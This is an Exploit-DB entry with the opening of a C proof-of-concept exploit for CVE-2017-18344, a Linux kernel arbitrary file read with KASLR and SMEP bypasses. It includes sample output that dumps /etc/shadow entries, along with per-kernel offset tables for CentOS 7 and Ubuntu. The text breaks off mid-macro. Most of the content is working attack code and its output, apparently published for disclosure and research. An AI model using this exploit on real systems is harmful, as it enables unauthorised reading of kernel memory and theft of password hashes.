Exploit-DB #45175
Description: Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read
Type: local
Platform: linux
Date: 2018-08-09
Author: Andrey Konovalov

Exploit:
// A proof-of-concept exploit for CVE-2017-18344.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// No support for 1 GB pages or 5 level page tables.
// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
// and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
//
// gcc pwn.c -o pwn
//
// $ ./pwn search 'root:!:'
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] searching [[PII_REDACTED], 00000000f524d000) for 'root:!:':
// [.] now at [PII_REDACTED]
// [.] now at [PII_REDACTED]
// [.] now at [PII_REDACTED]
// ...
// [.] now at 000000008c000000
// [.] now at 000000008e000000
// [.] now at [PII_REDACTED]
// [+] found at[PII_REDACTED]ff3000
// [+] done
//
// $ ./pwn phys[PII_REDACTED]ff3000 1000 shadow
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] dumping physical memory [[PII_REDACTED]ff3000,[PII_REDACTED]ff4000):
// [+] done
//
// $ cat shadow 
// root:!:17612:0:99999:7:::
// daemon:*:17590:0:99999:7:::
// bin:*:17590:0:99999:7:::
// ...
// saned:*:17590:0:99999:7:::
// usbmux:*:17590:0:99999:7:::
// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/syscall.h>
#include <sys/types.h>

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define DEBUG 0

// CentOS 7 3.10.0-862.9.1.el7.x86_64
#define KERNEL_START			0xffffffff81000000ul
#define O_DIVIDE_ERROR			(0xffffffff81723a40ul - KERNEL_START)
#define O_INIT_TASK			(0xffffffff81c16480ul - KERNEL_START)
#define O_INIT_MM			(0xffffffff81c914a0ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE		(0xffffffff81c41440ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS		1072
#define O_TASK_STRUCT_MM		1128
#define O_TASK_STRUCT_PID		1188
#define O_MM_STRUCT_MMAP		0
#define O_MM_STRUCT_PGD			88
#define O_VM_AREA_STRUCT_VM_START	0
#define O_VM_AREA_STRUCT_VM_END		8
#define O_VM_AREA_STRUCT_VM_NEXT	16
#define O_VM_AREA_STRUCT_VM_FLAGS	80

#if 0
// Ubuntu xenial 4.4.0-116-generic
#define KERNEL_START			0xffffffff81000000ul
#define O_DIVIDE_ERROR			(0xffffffff81851240ul - KERNEL_START)
#define O_INIT_TASK			(0xffffffff81e13500ul - KERNEL_START)
#define O_INIT_MM			(0xffffffff81e73c80ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE		0
#define O_TASK_STRUCT_TASKS		848
#define O_TASK_STRUCT_MM		928
#define O_TASK_STRUCT_PID		1096
#define O_MM_STRUCT_MMAP		0
#define O_MM_STRUCT_PGD			64
#define O_VM_AREA_STRUCT_VM_START	0
#define O_VM_AREA_STRUCT_VM_END		8
#define O_VM_AREA_STRUCT_VM_NEXT	16
#define O_VM_AREA_STRUCT_VM_FLAGS	80
#endif

#if 0
// Ubuntu xenial 4.13.0-38-generic
#define KERNEL_START			0xffffffff81000000ul
#define O_DIVIDE_ERROR			(0xffffffff81a017b0ul - KERNEL_START)
#define O_INIT_TASK			(0xffffffff82212480ul - KERNEL_START)
#define O_INIT_MM			(0xffffffff82302760ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE		(0xffffffff82248a90ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS		2048
#define O_TASK_STRUCT_MM		2128
#define O_TASK_STRUCT_PID		2304
#define O_MM_STRUCT_MMAP		0
#define O_MM_STRUCT_PGD			80
#define O_VM_AREA_STRUCT_VM_START	0
#define O_VM_AREA_STRUCT_VM_END		8
#define O_VM_AREA_STRUCT_VM_NEXT	16
#define O_VM_AREA_STRUCT_VM_FLAGS	80
#endif

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#ifndef SYS_memfd_create
#define SYS_memfd_create	319
#endif

#ifndef O_PATH
#define O_PATH			010000000
#endif

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PAGE_SHIFT		12
#define PAGE_SIZE		(1ul << PAGE_SHIFT)
#define PAGE_MASK		(~(PAGE_SIZE - 1))

#define HUGE_PAGE_SHIFT		21
#define HUGE_PAGE_SIZE		(1ul << HUGE_PAGE_SHIFT)
#define HUGE_PAGE_MASK		(~(HUGE_PAGE_SIZE - 1))

#define TASK_SIZE		(1ul << 47)
#define	PAGE_OFFSET_BASE	0xffff[PII_REDACTED]00ul

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define LOG_INFO	1
#define LOG_DEBUG	2

#define log(level, format, args...)					\
	do {								\
		if (level == LOG_INFO)					\
			printf(format, ## args);			\
		else							\
			fprintf(stderr, format, ## args);		\
	} while(0)

#define info(format, args...) log(LOG_INFO, format, ## args)

#if (DEBUG >= 1)
#define debug1(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug1(format, args...)
#endif

#if (DEBUG >= 2)
#define debug2(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug2(format, args..